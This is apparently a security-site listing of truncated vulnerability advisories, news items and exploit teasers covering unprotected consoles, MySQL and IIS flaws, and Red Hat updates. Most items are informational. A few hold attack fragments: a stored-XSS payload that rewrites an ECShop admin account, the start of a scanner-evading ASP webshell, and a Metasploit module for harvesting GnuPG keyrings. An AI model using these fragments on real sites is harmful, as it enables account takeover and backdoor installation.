Belkin 2307 Unprotected Console (HTTP)

The remote Belkin 2307 Web Console is not protected by a password. SPDX-FileCopyrightText: 2013 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Moxa NPort Unprotected Console (Telnet)

The remote Moxa NPort Telnet Console is not protected by a password. SPDX-FileCopyrightText: 2013 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only if description...

Business Partners Give Hackers Easy Access to Secure Firms

As frequently targeted, high-value companies continue fortifying their defenses, FireEye researchers claim that attackers are increasingly setting their sights on the affiliated but not-as-well-protected third-party organizations that do business with them. By aiming phishing email campaigns at...

RHEL 6 : virt-v2v (RHSA-2011:1615)

The remote Redhat Enterprise Linux 6 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2011:1615 advisory. - virt-v2v: vnc password protection is missing after vm conversion CVE-2011-1773 Note that Nessus has not tested for this issue but has instead relie...

Multi Gather GnuPG Credentials Collection

This module will collect the contents of all users' .gnupg directories on the targeted machine. Password protected secret keyrings can be cracked with John the Ripper JtR. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framewo...

Microsoft IIS protection bypass

Password protection bypass, script files content access...

Trivial Password Flaw Leaves MySQL Databases Exposed

There is a trivially exploitable vulnerability in MySQL that enables an attacker to gain root access to the database server. The bug, which recently was patched, stems from an error in the way that MySQL and MariaDB handle passwords, giving an attacker a chance of getting root access by supplying...

ESHOP network operators treasure Mall 1.0 GetWebshell-vulnerability warning-the black bar safety net

A day Wake up late, get up found on the ground a flyer. See is an online shop. So want to see with what program, find out where to see the html comments,css comments, and file name. Find is ESHOP network operators treasure Mall. google under exploits, found eshop exploits, test the next, not. But...

Low: Red Hat Security Advisory: Red Hat Network Satellite spacewalk-backend security and bug fix update

Updated spacewalk-backend packages that fix one security issue and two bugs are now available for Red Hat Network Satellite 5.4. The Red Hat Security Response Team has rated this update as having low security impact. A Common Vulnerability Scoring System CVSS base score, which gives a detailed...

Analysis of STRATFOR Passwords Reveals Shoddy Security

A partial analysis of another massive leak of user passwords has again shone a light on the scourge of weak passwords used to protect sensitive data in online accounts, according to a report by The Tech Herald. Using the leaked password list from STRATFOR, the open source intelligence service tha...

Low: Red Hat Security Advisory: virt-v2v security and bug fix update

An updated virt-v2v package that fixes one security issue and several bugs is now available for Red Hat Enterprise Linux 6. The Red Hat Security Response Team has rated this update as having low security impact. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severit...

WordPress.Com Hacked, Hacker root the Server !

WordPress.Com Hacked, Hacker Root the Server ! The parent company that operates WordPress, made an announcement this morning that it has hacked, resulting what the company said was a low-level root break-in to several of their servers. The company warned that potentially anything on those servers...

Amazon Cloud Can Be Used to Hack Into Networks !

A Germany-based security researcher says he can hack into protected networks using software that runs on Amazon's cloud-based computers, according to a Reuters report. Thomas Roth, a computer security consultant based in Cologne, Germany, says he has "figured out a quick and inexpensive way to...

CVE-2010-3912

CVE-2010-3912 (NORMAL) Affected products: SUSE Linux Enterprise 11 SP1 and 10 SP3, involving the supportconfig script within the supportutils package. Vulnerability: The supportconfig script does not disguise passwords in configuration files it collects. The available description notes unknown im...

Ecshop2.7.2持久型XSS（可获得管理员帐号）

简要描述： 个人资料修改时，Javascript代码过滤不够严格，XSS代码直接进入数据库 详细说明： 密码保护问题这一项，没有使用正则过滤，其他的的都有正则过滤。我们可以在密码保护问题里输入XSS，但是后台查看会员资料是不显示密码保护问题的，所以这里必须要网站后台添加了新的 “会员注册项”时，后台查看资料就会显示了，此处填入一段引入外部js的代码:" 外部test.js文件内容如下 Ajax.call'privilege.php?act=update','id=1&username=heihei&[email protected]','',"POST","JSON"; 漏洞证明：...

VPSProxy (PHP Secure proxy + GUI)

PHP Secure proxy - программа для туннелирования HTTP/HTTPS трафика через PHP-гейт. На написание меня подтолкнула идея bons'a, в реализации которого не было необходимого мне функционала, и самое главное, GUI. Возможности + Поддержка HTTPS для php-гейтов. + Туннелирование HTTPS трафика добавлено в...

Microsoft спасет людей с короткими паролями

Светлые умы из Microsoft изобрели новый способ защиты от взломов и подбора паролей. Оказывается, эффективная защита корпоративных систем и компьютеров сотрудников крупных компаний может осуществляться путем ограничения количества одинаковых паролей внутри системы. В августе два специалиста по...

Apache Axis2 1.4.1 - Local File Inclusion

Apache Axis2 1.4.1 - Local File Inclusion Exploit Title: Apache Axis21.4.1 Local File Inclusion Vulnerability Date: 2010/5/24 Author: HC Software Link: http://ws.apache.org/axis2/download/141/download.cgi Version: Axis2 1.4.1 Tested on: Linux category: Webapps Code : 1.http://Domain...

brute force password attack protection by default

We have added an upgrade task to set jira.maximum.authentication.attempts.allowed=5 on all instances even if they previous had set it to something else. This is to ensure that systems are more safe by default...

Dodge ScanWebShell-vulnerability warning-the black bar safety net

Direct access to the xxx. asp? bin=zs will be in the current directory to generate a bin. asp. The connection password for the zs! PS: the file can Dodge ScanWebShell,but the generated bin. asp will be killed,after use please delete the bin. asp! % pass="zs" If request"bin"= pass then shell = "bi...